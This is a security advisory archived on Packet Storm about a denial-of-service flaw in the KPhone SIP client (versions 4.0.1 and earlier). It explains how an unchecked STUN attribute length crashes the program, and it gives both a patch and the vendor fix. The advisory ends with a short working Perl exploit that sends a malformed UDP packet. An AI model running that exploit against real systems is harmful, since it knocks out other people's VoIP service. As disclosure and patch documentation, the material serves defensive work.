exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

kphone.stun.txt

kphone.stun.txt
Posted Apr 19, 2004
Authored by storm

KPhone versions 4.0.1 and below are vulnerable to a denial of service attack when receiving a malformed STUN response packet.

tags | exploit, denial of service
SHA-256 | 12d4c98fd485fb0fefda4a56371fd88ee6fd8c0ce96b29a81aca47739fbb89b8

kphone.stun.txt

Change Mirror Download

KPhone STUN DoS (Malformed STUN Packets)
------------------------------------------------------------------------

Article reference:
http://www.securiteam.com/unixfocus/5PP0B1FCLY.html


SUMMARY

<http://www.wirlab.net/kphone/> KPhone is "a SIP (Session Initiation Protocol)
user agent for Linux, with which you can initiate VoIP (Voice over IP)
connections over the Internet". KPhone allows its users to enable STUN server
interconnectivity. This interconnectivity allows a remote attacker to crash
the KPhone program by sending it a malformed STUN response packet. The
vulnerability doesn't allow the attacker to execute arbitrary code, but only
to cause a denial of service attack (the program will crash).

DETAILS

Vulnerable Systems:
* KPhone version 4.0.1 and prior

Immune Systems:
* KPhone version 4.0.2 or newer

The vulnerability lies in the fact the size of the received packet is not
verified against its user defined size. The vulnerable code lies at
(sipclient.cpp):
void SipClient::incomingMessage( int socketfd )
..
char inputbuf[ 8000 ];
..
StunMsgHdr* hdr = reinterpret_cast( inputbuf );
..
char* body = inputbuf + sizeof( StunMsgHdr );
unsigned int size = ntohs( hdr->msgLength ); // The size comes from msgLen
..
while( size > 0 ) {
StunAtrHdr* attr = reinterpret_cast( body );
unsigned int hdrLen = ntohs( attr->length );
..
body += hdrLen+4; // The hdrLen comes from the attrLen
size -= hdrLen+4;
}

As attrLen can be set to a bigger value than 8000 (the longest value we can
place in hdrLen is 0xFFFF = 65535), we can cause the body pointer to point to
a memory location outside the scope of our function, thus causing a SEGFAULT.

Patch:
Beyond Security has written a patch that will make sure that the data received
is indeed safe for parsing (verifying all of the msgLen and hdrLen)
356a357,362
> // check that the size of the header isn't larger than what we've read
> if ((signed int)sizeof(StunMsgHdr) > bytesread)
> {
> printf("Malformed packet (sizeof(StunMsgHdr) > bytesread)\n");
> return;
> }
357a364,369
> // check that the msg length + the hdr length is exactly what we've read
> if( (signed int)(ntohs(hdr->msgLength) + sizeof(StunMsgHdr)) != bytesread)
> {
> printf("Malformed packet (hdr->msgLength + sizeof(StunMsgHdr)) !=
bytesread)\n");
> return;
> }
365a378,383
> // check that our attribute length is not larger than the remaining
size
> if (hdrLen+4 > size)
> {
> printf("Malformed packet (hdrLen+4 > size)\n");
> return;
> }

Vendor status:
The vendor has issued a new version 4.0.2, which addresses this issue.

Exploit:
#!/usr/bin/perl
#

use IO::Socket::INET;

my $buf = join("", "\x01\x01", # BindingResponse
"\x00\x01", # MsgLength
"A"x16, # GUID
"\x00\x00", # Attribute
"\x08\x01", # AttrLength
"A"x7975 # Value
);

my $remote = IO::Socket::INET->new( Proto => 'udp',
PeerAddr => '192.168.1.49',
PeerPort => 5060);

print $remote $buf;


ADDITIONAL INFORMATION

SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
finding this vulnerability.




====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close